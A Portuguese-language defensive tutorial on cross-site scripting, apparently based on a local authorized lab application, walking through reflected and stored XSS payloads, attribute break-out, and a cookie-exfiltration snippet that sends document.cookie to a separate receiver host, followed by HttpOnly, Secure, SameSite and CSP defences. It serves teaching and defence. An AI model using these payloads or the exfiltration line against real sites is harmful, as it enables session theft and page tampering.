DESENVOLVIMENTO SEGUROGuia técnico · Segurança da Informação
Guia prático comentado

Cross-Site Scripting

Da interpretação do HTML à proteção de sessões: um percurso sobre XSS refletido e armazenado, com observações da FatecCorp.

Consulta e demonstração · Laboratório local autorizado · Verificação em 27/10/2026

Da entrada à execução
ENTRADAdado não confiável
APLICAÇÃOsaída sem proteção
NAVEGADORinterpretação ativa
TEMA
XSS
MÓDULOS
09
FOCO
DEFESA
Módulo 01

Introdução ao Cross-Site Scripting

1.1 Dados que passam a ser interpretados como código

Cross-Site Scripting (XSS) é uma vulnerabilidade na qual conteúdo controlado por uma parte não confiável acaba executando código no navegador no contexto de uma aplicação. A sigla usa X para “cross”, evitando confusão com CSS, a linguagem de estilos. O nome histórico não significa que todo caso precise carregar um script de outro site: o código pode vir da própria resposta da aplicação vulnerável.

Trata-se de injeção de código porque a entrada muda a estrutura ou o comportamento que deveria ter sido definido apenas pelo desenvolvedor. Um termo de busca deve ser um dado; quando seus caracteres passam a formar um elemento de script ou um manipulador de evento, rompe-se a separação entre dados e instruções. A origem do texto não muda para confiável só porque ele passou pelo servidor ou foi salvo.

Usuário: dados não confiáveisAplicação WebResposta HTMLNavegadorExecução de JavaScript

Esse fluxo descreve um cenário vulnerável, não uma consequência inevitável de receber texto. O servidor recebe parâmetros, aplica regras de negócio e monta a resposta. O navegador analisa essa resposta com um parser HTML, constrói uma árvore de elementos chamada DOM e, quando permitido, executa JavaScript. O navegador não sabe que um trecho veio de um campo de busca; ele interpreta a estrutura recebida e aplica suas políticas de segurança.

1.2 A fronteira entre conteúdo e instrução

HTML · somente leitura
<p>Busca: texto informado pelo usuário</p>
<!-- Saída vulnerável: a entrada tornou-se marcação ativa. -->
<p>Busca: <script>alert('XSS')</script></p>
<!-- Saída codificada: os caracteres são exibidos como texto. -->
<p>Busca: &lt;script&gt;alert('XSS')&lt;/script&gt;</p>

No segundo parágrafo do exemplo, o elemento de script participa da estrutura HTML. No terceiro, as entidades representam caracteres de texto; o navegador não faz uma segunda interpretação automática para transformar aquele texto em script. A correção deve preservar essa distinção no contexto específico da saída.

1.3 Servidor, navegador e impactos

O servidor pode produzir uma resposta insegura tanto ao devolver uma entrada da requisição atual quanto ao recuperar conteúdo previamente armazenado. A execução de XSS acontece no navegador que abre essa resposta. O código passa a operar com as permissões web daquela página, sujeito à política de mesma origem e a outros controles; não ganha automaticamente acesso ao sistema operacional ou a todos os sites abertos.

AspectoXSSSQL Injection
Interpretador afetadoNavegador: HTML e JavaScript.Sistema de banco de dados: comandos SQL.
Fronteira rompidaDados do usuário tornam-se conteúdo ativo da página.Dados tornam-se parte da estrutura da consulta.
Defesa centralSaída tratada conforme seu contexto e uso de APIs seguras.Consultas parametrizadas e separação entre comando e parâmetros.
RelaçãoPode existir mesmo sem banco de dados.Pode existir sem execução de JavaScript.

Entre os impactos possíveis estão alteração de conteúdo, falsificação da interface, leitura de informações acessíveis à página e ações com a sessão do usuário. A gravidade depende do local de execução, das permissões da vítima, dos dados disponíveis e das defesas existentes. Um alerta é uma evidência didática de execução, não uma medida completa do impacto. A classificação técnica dessa falha é CWE-79, do MITRE.

Módulo 02

Fundamentos de HTML, JavaScript e eventos

2.1 Tags, atributos e estrutura HTML

HTML · somente leitura
<p class="aviso">Uma mensagem de texto.</p>
<input type="text" value="conteudo">
<img src="imagem-local.png" alt="Descrição da imagem">

Uma tag de abertura, como <p>, inicia um elemento; </p> o encerra. O conteúdo fica entre ambas. Atributos aparecem na abertura e configuram o elemento: class é um exemplo. Elementos vazios, como input e img, não têm uma tag de fechamento HTML. Nem toda tag aceita os mesmos conteúdos, e o parser pode corrigir estruturas inválidas. Por isso o HTML retornado e a árvore exibida em Elements podem diferir.

2.2 JavaScript no navegador

HTML · somente leitura
<script>
alert('Olá, mundo!');
</script>

O elemento script delimita instruções JavaScript. A chamada alert(...) invoca uma função; parênteses contêm seus argumentos, e aspas delimitam uma string. Esse código é legítimo quando integra intencionalmente a aplicação. O mesmo código, introduzido por um visitante onde só deveria existir texto, evidencia uma quebra da fronteira de confiança. O fato de ser JavaScript não o torna, isoladamente, uma vulnerabilidade.

2.3 Funções e propriedades usadas nas demonstrações

ExpressãoSignificado e limites
alert()Solicita um diálogo ao navegador. Diálogos podem ser suprimidos; a ausência de janela não prova ausência de execução.
console.log()Registra uma mensagem no Console. Filtros da ferramenta podem ocultar o registro; não altera a interface.
document.domainLê o domínio do documento; no acesso por IP aqui, retorna 192.168.10.20. Não é a origem completa: protocolo e porta não aparecem. Alterar essa propriedade é uma prática legada, fora desta demonstração.
location.hrefLê a URL completa da página atual, incluindo consulta e fragmento quando presentes. A leitura não redireciona; atribuir outro valor pode navegar.
document.titleLê ou altera o título do documento, normalmente mostrado na aba.
document.cookieLê os pares nome=valor de cookies acessíveis ao JavaScript naquele contexto. Não inclui os cookies HttpOnly nem seus atributos de configuração.
document.body.styleAcessa estilos inline do elemento body. A propriedade backgroundColor permite alterar sua cor; não modifica arquivos CSS no servidor.

O operador = atribui um valor; o operador + pode concatenar strings. Uma expressão como document.title = 'Novo título' altera uma propriedade de um objeto. Essas pequenas operações ajudam a comprovar execução sem ler informações de usuários. Referência de linguagem: JavaScript na MDN.

2.4 Eventos HTML: execução sem uma tag de script

AtributoMomento em que o código pode executarObservação
onloadQuando o evento de carregamento correspondente é emitido.Depende do elemento e do modo como ele foi inserido.
onerrorQuando ocorre um erro no recurso associado, como falha de imagem.Uma imagem válida não provoca esse erro de carregamento.
onfocusQuando o elemento recebe foco.Pode exigir interação; autofocus é uma solicitação, não uma garantia.
onclickQuando ocorre a ativação/clique no elemento.Não executa apenas por o HTML estar presente.
onmouseoverQuando o ponteiro entra no elemento ou em descendentes conforme a propagação do evento.Dispositivos sem ponteiro e ausência de interação mudam o comportamento.
HTML · somente leitura
<button type="button" onclick="console.log('Clique observado')">
  Exemplo de evento
</button>

O valor de um atributo de evento contém instruções, não texto comum. O exemplo registra uma mensagem se o botão for ativado em um documento que permita handlers inline; aqui ele é apenas texto. Esses atributos mostram por que bloquear somente a palavra script é insuficiente para prevenir XSS.

2.5 Aspas determinam a fronteira de um atributo

HTML · somente leitura
<input type="text" value="conteudo">

As aspas duplas delimitam o valor de value. Se a aplicação concatena uma entrada sem codificar a aspa correspondente, o usuário pode encerrar esse valor e introduzir novos atributos. Em contrapartida, uma tag de script dentro de um valor corretamente delimitado é apenas parte daquele valor: seu formato não basta para criar um elemento executável. Vamos observar as duas situações na News.

Módulo 03

XSS refletido na FatecCorp

3.1 Da requisição à mesma resposta

No XSS refletido, uma entrada da requisição é incorporada à resposta que o navegador interpreta. Ela pode chegar em uma consulta GET, em um corpo POST ou por outra entrada controlável. Não é necessário persistir o payload para essa execução. Um link preparado pode carregar o valor na URL; a vítima precisa ser exposta à requisição e à resposta vulneráveis. Logs podem registrar o valor, mas isso não transforma automaticamente esse fluxo em XSS armazenado.

Referência observada: News — Notícias e Conhecimento. O formulário real usa method="get", action="index.php", um campo oculto page=pages/news.php e um campo de texto busca. O botão é “Buscar”.

HTML · somente leitura
<form method="get" action="index.php">
  <input type="hidden" name="page" value="pages/news.php">
  <input type="text" name="busca" value="">
  <button type="submit">Buscar</button>
</form>
<!-- Trecho observado; estilos e contêineres omitidos. -->

3.2 O que foi efetivamente observado

Ao preencher o formulário com FATEC_XSS_MARCADOR_20261027 e acionar Buscar, a navegação foi para a requisição abaixo. O marcador reapareceu no atributo value e em dois elementos strong no corpo. São dois contextos distintos para a mesma entrada.

HTTP · navegação observada, cabeçalhos não relevantes omitidos · somente leitura
GET /fateccorp/index.php?page=pages%2Fnews.php&busca=FATEC_XSS_MARCADOR_20261027 HTTP/1.1
Host: 192.168.10.20
HTML · somente leitura
<input type="text" name="busca" value="FATEC_XSS_MARCADOR_20261027" ...>
<strong>FATEC_XSS_MARCADOR_20261027</strong>
<!-- Recortes observados; ... indica atributos omitidos na transcrição. -->
Página News da FatecCorp com o marcador didático no campo de busca e no resultado, sem dados de sessão.
Captura real do Chromium: marcador inofensivo submetido pelo formulário de busca. A imagem é evidência de reflexão; a execução foi verificada separadamente.

3.3 Payloads básicos: um efeito de cada vez

Payload 1 — Execução básica

Confirmado na News: chamada de alert com XSS registrada.

HTML · somente leitura
<script>alert('XSS')</script>

Leitura do código. O elemento script contém uma chamada de alert com a string XSS.

Contexto e resultado. Exige saída não codificada em conteúdo HTML que aceite o elemento script, e permissão para JavaScript inline. Dentro de value sem romper as aspas, essa tag não vira um elemento. A execução solicita o diálogo “XSS”.

Condições e limites. Codificação de saída, sanitização apropriada ou CSP podem impedir a execução. Inserção por certos mecanismos de atualização de HTML também não executa scripts da mesma forma que o parser de uma navegação.

Conceito demonstrado. Texto não confiável tornou-se instrução do navegador.

Payload 2 — Domínio atual

Confirmado na News: chamada com 192.168.10.20 registrada.

HTML · somente leitura
<script>alert(document.domain)</script>

Leitura do código. Em vez de uma string fixa, o argumento é a leitura de document.domain.

Contexto e resultado. Exige saída não codificada em conteúdo HTML que aceite o elemento script, e permissão para JavaScript inline. Dentro de value sem romper as aspas, essa tag não vira um elemento. No laboratório, o valor lido foi 192.168.10.20.

Condições e limites. Codificação de saída, sanitização apropriada ou CSP podem impedir a execução. Inserção por certos mecanismos de atualização de HTML também não executa scripts da mesma forma que o parser de uma navegação. Essa propriedade não informa porta nem protocolo.

Conceito demonstrado. O código roda associado ao documento vulnerável, não a uma página independente do autor do payload.

Payload 3 — URL da página

Confirmado na News: chamada contendo a URL de teste registrada.

HTML · somente leitura
<script>alert(location.href)</script>

Leitura do código. Lê a URL atual e a passa para alert.

Contexto e resultado. Exige saída não codificada em conteúdo HTML que aceite o elemento script, e permissão para JavaScript inline. Dentro de value sem romper as aspas, essa tag não vira um elemento. O valor inclui a rota News e o parâmetro busca codificado na URL.

Condições e limites. Codificação de saída, sanitização apropriada ou CSP podem impedir a execução. Inserção por certos mecanismos de atualização de HTML também não executa scripts da mesma forma que o parser de uma navegação. A URL pode conter informações; aqui só havia o payload de teste e parâmetros do laboratório.

Conceito demonstrado. O script consegue ler informações de navegação disponíveis ao documento.

Payload 4 — Console JavaScript

Confirmado na News: mensagem no Console.

HTML · somente leitura
<script>console.log('XSS executado')</script>

Leitura do código. Chama console.log com uma mensagem fixa.

Contexto e resultado. Exige saída não codificada em conteúdo HTML que aceite o elemento script, e permissão para JavaScript inline. Dentro de value sem romper as aspas, essa tag não vira um elemento. O Console recebe XSS executado.

Condições e limites. Codificação de saída, sanitização apropriada ou CSP podem impedir a execução. Inserção por certos mecanismos de atualização de HTML também não executa scripts da mesma forma que o parser de uma navegação. É necessário observar o nível de log correto e limpar registros anteriores para atribuir a mensagem à navegação.

Conceito demonstrado. Execução pode ser comprovada sem alteração visual ou leitura de dados.

3.4 Payloads utilizando eventos HTML

Payload 5 — onerror

Confirmado na News: chamada XSS pelo handler registrada.

HTML · somente leitura
<img src=x onerror=alert('XSS')>

Leitura do código. Cria uma imagem cuja URL relativa é x e associa uma chamada ao erro de carregamento. O valor do handler está sem aspas HTML; as aspas internas pertencem à string JavaScript.

Contexto e resultado. Precisa ser interpretado como elemento img. Nesta rota, x é resolvido relativamente ao diretório /fateccorp/. Se a imagem falhar, o evento pode chamar alert.

Condições e limites. Se x for uma imagem válida, o erro esperado não ocorre. Sanitização, codificação e CSP que bloqueie handlers inline impedem o efeito; falha de rede sozinha não comprova execução.

Conceito demonstrado. A superfície de execução inclui atributos de evento.

Payload 6 — SVG com onload

Confirmado na News: chamada XSS registrada.

HTML · somente leitura
<svg onload=alert('XSS')>

Leitura do código. Introduz um elemento SVG com um handler de carregamento.

Contexto e resultado. O parser precisa reconhecer a marcação SVG em conteúdo HTML. Na configuração verificada, o evento provocou a chamada de alert.

Condições e limites. Não é universal: modo de inserção, tratamento do SVG, sanitização, política de scripts e comportamento do navegador interferem.

Conceito demonstrado. Elementos de outras linguagens de marcação integrados ao HTML também exigem tratamento seguro.

Payload 7 — onfocus

Confirmado na News: chamada XSS registrada no carregamento testado.

HTML · somente leitura
<input autofocus onfocus=alert('XSS')>

Leitura do código. Cria um campo focável, pede foco com autofocus e define um handler onfocus.

Contexto e resultado. Precisa criar um elemento input real em um contexto permitido. Ao receber foco, o campo solicita o alerta.

Condições e limites. Autofocus pode ser ignorado por disputa de foco, estado do documento, navegação ou políticas do navegador. Foco manual pode disparar o evento; CSP pode bloquear o handler.

Conceito demonstrado. Presença do elemento e disparo do evento são etapas diferentes.

3.5 Manipulação visual da página

Payload 8 — Alteração da cor de fundo

Confirmado na News: document.body.style.backgroundColor retornou red.

HTML · somente leitura
<script>
document.body.style.backgroundColor='red'
</script>

Leitura do código. Atribui red à propriedade backgroundColor do estilo inline de body.

Contexto e resultado. Exige saída não codificada em conteúdo HTML que aceite o elemento script, e permissão para JavaScript inline. Dentro de value sem romper as aspas, essa tag não vira um elemento. A propriedade de estilo passa a red; áreas cobertas por outros elementos podem manter suas próprias cores.

Condições e limites. Codificação de saída, sanitização apropriada ou CSP podem impedir a execução. Inserção por certos mecanismos de atualização de HTML também não executa scripts da mesma forma que o parser de uma navegação. O body deve existir nesse momento; regras CSS prioritárias podem limitar o efeito percebido.

Conceito demonstrado. Uma modificação visual prova capacidade de alterar a apresentação, mas não prova acesso a dados ou tomada de sessão.

Payload 9 — Alteração do título

Confirmado na News: título XSS executado.

HTML · somente leitura
<script>
document.title='XSS executado'
</script>

Leitura do código. Atribui uma string à propriedade title do documento.

Contexto e resultado. Exige saída não codificada em conteúdo HTML que aceite o elemento script, e permissão para JavaScript inline. Dentro de value sem romper as aspas, essa tag não vira um elemento. O título lido após o carregamento passa a XSS executado.

Condições e limites. Codificação de saída, sanitização apropriada ou CSP podem impedir a execução. Inserção por certos mecanismos de atualização de HTML também não executa scripts da mesma forma que o parser de uma navegação. Outro script pode substituir o título posteriormente.

Conceito demonstrado. XSS pode adulterar informações da interface; a alteração aqui não é persistência no servidor.

3.6 Quebra de atributo: uma segunda superfície na mesma entrada

HTML · somente leitura
" onfocus="alert('XSS no Input!')" autofocus="

A primeira aspa dupla encerra o valor original de value. O espaço separa atributos e onfocus="..." acrescenta código a executar quando o input recebe foco. Em seguida, autofocus=" abre outro valor: a aspa de fechamento que já existia no template pode encerrá-lo. O atributo booleano autofocus vale pela presença, mesmo escrito com valor vazio.

HTML · somente leitura
<input type="text" value="ENTRADA_USUARIO">

<!-- Resultado ilustrativo da concatenação vulnerável: -->
<input type="text" value=""
       onfocus="alert('XSS no Input!')"
       autofocus="">

Na FatecCorp, existe esse contexto equivalente no input name="busca". A inspeção confirmou os atributos novos e a chamada XSS no Input!. O mesmo conteúdo inserido entre tags não tem necessariamente o mesmo efeito; em um atributo delimitado por aspas simples, essa primeira aspa dupla não encerra o valor. Com &quot; na saída HTML, a aspa fica no valor como dado e não cria outro atributo.

A execução exige que o input receba foco e que handlers inline sejam permitidos. O nome autofocus não garante foco em todos os carregamentos. Este payload demonstra como a sintaxe do contexto, especialmente o delimitador, determina o resultado; não é uma string universal para qualquer campo.

3.7 Leitura final do fluxo refletido

A News confirmou duas posições de reflexão e execução inofensiva por script e eventos. O parâmetro page seleciona a rota nesta demonstração; o vetor confirmado é busca. A vulnerabilidade não é o uso de GET: é devolver essa entrada sem tratamento nos contextos identificados. Codificar o transporte na URL não corrige a saída HTML, pois o servidor decodifica os parâmetros antes de utilizá-los.

Módulo 04

XSS armazenado na FatecCorp

4.1 Persistir dados não deveria persistir instruções

No Stored XSS, também chamado XSS armazenado ou persistente, a aplicação guarda uma entrada e a recupera em outra ocasião. O código não executa “dentro do armazenamento”; executa quando uma página apresenta o conteúdo de maneira vulnerável e um navegador o interpreta. O meio de persistência pode ser banco, arquivo ou outro serviço. A categoria exige evidência de recuperação posterior, não apenas uma mensagem de envio bem-sucedido.

Entrada enviadaAplicaçãoArmazenamentoRecuperaçãoExibiçãoExecução no navegador

O fluxo pode atingir quem consultar o conteúdo depois, inclusive em outra sessão ou navegador, se aquela visualização usar a mesma saída insegura. A persistência amplia a exposição potencial, mas não determina sozinha a gravidade. Um campo armazenado e sempre apresentado como texto não configura execução de XSS.

4.2 Contact: formulário e mural observados

Referência: Contact — Contato / Ouvidoria. O formulário observado usa POST e action="index.php?page=pages/contact.php". Não foi inventado um endpoint separado de gravação.

Rótulo observadoNome enviadoTipo e obrigatoriedade no HTML
Nome Completonameinput text, required.
E-mail corporativoemailinput email, required.
Empresa / Órgãocompanyinput text, opcional.
Mensagem ou Manifestaçãomessagetextarea, required.

Essas restrições do navegador descrevem a interface; não demonstram validação equivalente no servidor. Foi usado tutorial@example.invalid, um endereço fictício, com nome e empresa explicitamente didáticos. O botão observado é “Enviar mensagem para Ouvidoria”.

Formulário vazio de Contact com campos Nome Completo, E-mail corporativo, Empresa ou Órgão e Mensagem ou Manifestação.
Captura real restrita ao formulário vazio. O mural de outras pessoas não foi reproduzido.
HTTP · representação dos campos submetidos, não captura integral da rede · somente leitura
POST /fateccorp/index.php?page=pages/contact.php HTTP/1.1
Host: 192.168.10.20
Content-Type: application/x-www-form-urlencoded

name=Demonstra%C3%A7%C3%A3o+did%C3%A1tica+XSS&email=tutorial%40example.invalid&company=Laborat%C3%B3rio+autorizado&message=FATEC_XSS_20261027+%3Cscript%3Econsole.log%28%27Payload+persistente+executado%27%29%3C%2Fscript%3E

O POST retornou à página Contact e a mensagem apareceu no Mural de Mensagens Recebidas, acompanhada do registro no Console. Essa aparição foi a confirmação de envio efetivamente registrada. Nenhum texto específico de banner de sucesso foi preservado na coleta; não se atribui à aplicação uma frase não observada.

HTML · somente leitura
<div style="color: #2d3748; line-height: 1.6; font-size: 14px; word-break: break-word;">
  FATEC_XSS_20261027 <script>console.log('Payload persistente executado')</script>
</div>
<!-- Recorte do DOM observado após nova visita, com espaços normalizados. -->

Depois do envio, os cookies do navegador foram apagados e foi feita uma nova navegação GET para Contact, sem o payload na URL nem no corpo da requisição. A mensagem continuou no mural e o Console voltou a registrar Payload persistente executado. Isso confirma persistência recuperável sem aqueles cookies e execução no contexto de conteúdo de um div. Não foi um teste em outro produto de navegador, nem prova sobre a duração indefinida do armazenamento.

4.3 Payloads para demonstração de conteúdo persistido

Os seis exemplos seguintes devem ser lidos no fluxo de recuperação do mural. Só o exemplo de Console foi submetido nesta análise. Os outros explicam efeitos possíveis no mesmo tipo de contexto, sem afirmar que foram executados na FatecCorp.

Payload 1 — Alerta persistente

Ilustrativo: este payload não foi submetido em Contact.

HTML · somente leitura
<script>alert('Stored XSS')</script>

Leitura do código. Um script chama alert com uma mensagem fixa.

Contexto e resultado. Pressupõe que message seja recuperado como HTML ativo no corpo do mural, como ocorreu com o teste de Console. Se permitido, cada visualização vulnerável pode solicitar o alerta Stored XSS.

Condições e limites. Codificação contextual, sanitização do HTML permitido e CSP podem impedir a execução. Salvar a string não garante que ela vire código ao exibir. O navegador pode suprimir diálogos.

Conceito demonstrado. A execução ocorre na leitura do conteúdo, não necessariamente só no envio.

Payload 2 — Evento onerror

Ilustrativo: não testado em Contact.

HTML · somente leitura
<img src=x onerror="alert('XSS armazenado!')">

Leitura do código. Uma imagem de URL relativa x contém um handler de erro entre aspas duplas.

Contexto e resultado. Pressupõe que message seja recuperado como HTML ativo no corpo do mural, como ocorreu com o teste de Console. Se a imagem falhar e o handler for permitido, a visualização solicita XSS armazenado!.

Condições e limites. Codificação contextual, sanitização do HTML permitido e CSP podem impedir a execução. Salvar a string não garante que ela vire código ao exibir. Se a URL resolver para imagem válida, esse gatilho não acontece.

Conceito demonstrado. A persistência também pode transportar atributos de evento.

Payload 3 — Modificação do título

Ilustrativo: não testado em Contact.

HTML · somente leitura
<script>
document.title='Stored XSS'
</script>

Leitura do código. Atribui Stored XSS ao título do documento que renderiza a mensagem.

Contexto e resultado. Pressupõe que message seja recuperado como HTML ativo no corpo do mural, como ocorreu com o teste de Console. A aba pode passar a mostrar esse título em cada recuperação vulnerável.

Condições e limites. Codificação contextual, sanitização do HTML permitido e CSP podem impedir a execução. Salvar a string não garante que ela vire código ao exibir. Código posterior pode sobrescrever o título.

Conceito demonstrado. Uma entrada armazenada pode influenciar a interface de quem a lê.

Payload 4 — Console

Confirmado em Contact: versão equivalente em uma linha, precedida pelo marcador FATEC_XSS_20261027.

HTML · somente leitura
<script>
console.log('Payload persistente executado')
</script>

Leitura do código. Registra uma string fixa no Console, sem ler dados da sessão.

Contexto e resultado. Pressupõe que message seja recuperado como HTML ativo no corpo do mural, como ocorreu com o teste de Console. A mensagem reaparece no Console quando o conteúdo armazenado é renderizado.

Condições e limites. Codificação contextual, sanitização do HTML permitido e CSP podem impedir a execução. Salvar a string não garante que ela vire código ao exibir. É preciso distinguir o novo log de registros de navegações anteriores.

Conceito demonstrado. Persistência e execução foram verificadas separadamente por uma nova visita sem os cookies anteriores.

Payload 5 — SVG

Ilustrativo: não testado em Contact.

HTML · somente leitura
<svg onload=alert('Stored XSS')>

Leitura do código. Um elemento SVG aciona alert por um evento load.

Contexto e resultado. Pressupõe que message seja recuperado como HTML ativo no corpo do mural, como ocorreu com o teste de Console. Se o evento ocorrer, solicita o alerta Stored XSS.

Condições e limites. Codificação contextual, sanitização do HTML permitido e CSP podem impedir a execução. Salvar a string não garante que ela vire código ao exibir. Tratamento de SVG, modo de inserção e eventos variam; onload não é universal em qualquer situação.

Conceito demonstrado. HTML persistido deve considerar elementos e atributos executáveis além de script.

Payload 6 — Alteração visual

Ilustrativo: não testado em Contact.

HTML · somente leitura
<script>
document.body.style.backgroundColor='lightyellow'
</script>

Leitura do código. Muda o estilo inline de fundo do body para lightyellow.

Contexto e resultado. Pressupõe que message seja recuperado como HTML ativo no corpo do mural, como ocorreu com o teste de Console. A propriedade pode alterar a aparência do documento durante a visita.

Condições e limites. Codificação contextual, sanitização do HTML permitido e CSP podem impedir a execução. Salvar a string não garante que ela vire código ao exibir. Body precisa existir; elementos sobrepostos e regras de estilo podem ocultar a cor.

Conceito demonstrado. O conteúdo persistente pode adulterar apresentação, sem que isso comprove comprometimento de sessão.

4.4 Reflexão e persistência são caminhos diferentes

Na News, o navegador recebe o payload da requisição de busca atual. No mural de Contact, ele recebe conteúdo enviado antes por outra requisição. Ambos executam no navegador e dependem do contexto de saída. Corrigir somente o formulário de envio não resolve cópias já armazenadas nem outras telas que recuperem os mesmos dados. A codificação deve ser aplicada em cada ponto de apresentação, inclusive visualizações de maior privilégio que realmente existam e sejam verificadas.

Módulo 05

Cookies, sessões e consequências do XSS

5.1 Cookies: estado entre requisições HTTP

HTTP não associa automaticamente duas requisições à mesma pessoa. Cookies são pares nome=valor que o navegador guarda e envia conforme regras de domínio, caminho, segurança e contexto. Um servidor pode emitir Set-Cookie e reconhecer um identificador em requisições posteriores pelo cabeçalho Cookie. O identificador de sessão costuma apontar para estado mantido no servidor; não é, necessariamente, a senha ou todos os dados do usuário.

HTTP · esquema ilustrativo · somente leitura
HTTP/1.1 200 OK
Set-Cookie: sessao=valor_ficticio; Path=/

# Em uma requisição posterior elegível:
GET /area HTTP/1.1
Host: aplicacao.example
Cookie: sessao=valor_ficticio

O armazenamento pode durar até o término da sessão do navegador ou até uma expiração definida. Restauração de sessão e políticas de privacidade influenciam esse comportamento. Autenticação é a validação de identidade; um cookie pode carregar o identificador que permite ao servidor reconhecer a sessão autenticada. Nem todo cookie é de autenticação: preferências e outras finalidades também usam esse mecanismo.

JavaScript · leitura conceitual, não executada neste tutorial · somente leitura
document.cookie

A propriedade devolve uma string com cookies disponíveis ao JavaScript, normalmente separados por ponto e vírgula. A disponibilidade depende de escopo, políticas do navegador e ausência de HttpOnly. Ela pode retornar vazio mesmo quando existem cookies enviados automaticamente. Não revela os atributos HttpOnly, Secure ou SameSite de cada cookie. O acesso por JavaScript e o envio automático em HTTP são mecanismos distintos.

5.2 Exfiltração: análise técnica do mecanismo

Exfiltração é a transferência não autorizada de dados para um destino externo ao fluxo previsto. Um XSS pode tentar converter informações acessíveis à página em parâmetros de uma requisição. O exemplo abaixo é apenas referência para análise: não foi executado durante a verificação e nunca deve ser usado para coletar cookies reais.

HTML · somente leitura
<script>
new Image().src="http://192.168.10.10:8080/?c="+document.cookie
</script>
TrechoLeitura técnica
<script> … </script>Delimita código a ser interpretado pelo navegador se estiver em contexto ativo e for permitido. No tutorial, aparece escapado como texto.
new Image()Cria um objeto de imagem HTML. Não é necessário anexá-lo visualmente à página para atribuir seu recurso.
.src=Define a URL do recurso. Essa atribuição pode iniciar uma busca HTTP pela imagem. Uma imagem válida não é necessária para o receptor registrar a tentativa.
http://192.168.10.10Endereço privado indicado para um receptor local de laboratório. Não é a FatecCorp, que está em 192.168.10.20. Ser privado não elimina o risco de exposição a outros participantes da rede.
:8080Porta TCP do serviço receptor pretendido. Sem serviço acessível, não há recebimento comprovado.
/?c=Caminho raiz / e parâmetro de consulta chamado c. O nome c é uma escolha do exemplo, não um campo obrigatório de cookies.
+Concatena a URL inicial com o resultado da expressão seguinte.
document.cookieLê apenas cookies disponíveis ao JavaScript naquele documento. Esses caracteres passam a compor o valor de consulta da URL.

Se a requisição for permitida e chegar ao receptor, a URL pode aparecer nos registros de acesso. Isso pode expor informação mesmo que o navegador não consiga ler a resposta do receptor. A política de mesma origem e o CORS não são uma barreira geral contra o envio de uma requisição de imagem: restringir a leitura de respostas é diferente de impedir tráfego de saída.

O exemplo original concatena o valor sem codificá-lo. Caracteres como & e # podem alterar a consulta ou produzir fragmentos que não chegam ao servidor. Isso é uma limitação de fidelidade do exemplo, não uma defesa confiável. Um valor vazio também não comprova proteção completa contra XSS.

FatecCorp: resposta vulnerávelNavegador: código lê um valorURL de imagem com parâmetroReceptor local: registro da URL

O navegador é quem inicia a requisição para o receptor; o servidor da FatecCorp não precisa encaminhar diretamente esses dados. Quando o valor é incorporado à URL, ele deixa de ser apenas um cookie enviado pelas regras normais e torna-se texto em um endereço de destino escolhido pelo código.

5.3 Simulação com dados fictícios

HTML · somente leitura
<script>
new Image().src="http://192.168.10.10:8080/?c="+
encodeURIComponent("COOKIE_DE_TESTE=valor_ficticio")
</script>

Aqui não existe leitura de document.cookie. A string fixa contém somente um nome e um valor de demonstração. encodeURIComponent codifica caracteres de um componente da URL, preservando-os como valor do parâmetro; não criptografa nem torna dados secretos. O sinal de igual do valor fictício é representado por %3D.

HTTP · aparência conceitual, não tráfego capturado · somente leitura
GET /?c=COOKIE_DE_TESTE%3Dvalor_ficticio HTTP/1.1
Host: 192.168.10.10:8080
Log · formato ilustrativo; o IP real seria o do cliente ou intermediário · somente leitura
192.168.10.20 - - [DATA/HORA] "GET /?c=COOKIE_DE_TESTE%3Dvalor_ficticio HTTP/1.1" 404 -

Um registro pode conter método, caminho, consulta, data e status. Até um status 404 pode indicar que a requisição chegou, embora nenhuma imagem tenha sido encontrada. O endereço do cliente não é necessariamente o servidor da aplicação; o IP na linha acima é apenas um exemplo. O receptor só observará algo se houver conectividade, serviço disponível e permissão das políticas do navegador. Nenhum serviço receptor foi iniciado ou contatado nesta análise; não há log real de exfiltração.

5.4 HttpOnly: proteger a leitura do identificador

HTTP · dois cenários alternativos · somente leitura
Set-Cookie: sessao=valor_ficticio; Path=/

Set-Cookie: sessao=valor_ficticio; Path=/; HttpOnly

No primeiro cenário, o cookie pode estar disponível a document.cookie, se as demais condições de escopo e política permitirem. No segundo, HttpOnly o exclui das APIs de cookies acessíveis a JavaScript. O servidor define esse atributo pelo cabeçalho; JavaScript não consegue criar um cookie HttpOnly por atribuição a document.cookie.

Mesmo com HttpOnly, o navegador pode enviar o cookie automaticamente em requisições elegíveis. Portanto, um script injetado pode executar ações com a sessão existente, ler informações apresentadas na página ou adulterar a interface sem obter o identificador diretamente. HttpOnly reduz uma via de exposição, mas não neutraliza o XSS.

5.5 Secure e SameSite: controles com funções diferentes

AtributoO que protegeO que não resolve
HttpOnlyRestringe leitura do cookie por JavaScript.Não impede ações feitas pelo navegador com a sessão.
SecureRestringe envio do cookie a conexões consideradas seguras, normalmente HTTPS; navegadores têm tratamento especial para localhost.Não esconde, por si, o valor de JavaScript nem corrige HTML inseguro. Um IP privado HTTP não equivale a localhost.
SameSiteControla envio em determinados contextos entre sites: Strict, Lax ou None. None exige Secure em navegadores modernos.Não é uma barreira geral a scripts que já executam na própria aplicação.

“Mesmo site” e “mesma origem” não são sinônimos: origem considera esquema, host e porta; a noção de site agrupa contextos segundo regras do navegador, incluindo o esquema. Lax e Strict têm políticas diferentes para navegações e requisições entre sites. Essas escolhas precisam acompanhar o fluxo de autenticação legítimo. Se um script já leu um valor e o colocou na consulta de uma imagem, SameSite não transforma aquele parâmetro em cookie protegido.

HTTP · exemplo para aplicação servida por HTTPS · somente leitura
Set-Cookie: sessao=valor_ficticio; Path=/; HttpOnly; Secure; SameSite=Lax

Esse cabeçalho é uma composição ilustrativa, não uma configuração verificada da FatecCorp. A aplicação fornecida usa HTTP em IP privado; migrar para HTTPS é necessário para empregar adequadamente cookies Secure nesse cenário. Os conceitos de armazenamento e atributos podem ser consultados em HTTP Cookies, MDN.

5.6 CSP, conteúdo misto e outras restrições

A Content Security Policy (CSP) pode limitar as origens de scripts e o uso de código inline. Uma política sem autorização para scripts inline pode bloquear tanto elementos script injetados quanto handlers de evento. A diretiva img-src pode impedir que uma imagem seja requisitada a um destino não permitido, mesmo quando algum JavaScript já conseguiu executar.

Em uma página HTTPS, carregar uma imagem por HTTP envolve conteúdo misto. Conforme o recurso e o navegador, há bloqueio ou atualização para HTTPS; imagens com URL HTTP em endereço IP são particularmente sujeitas a bloqueio em vez de atualização automática. Não se deve presumir que o receptor HTTP funcionará. Políticas de acesso à rede local, bloqueadores, sandbox de frames, configurações de privacidade e conectividade também interferem.

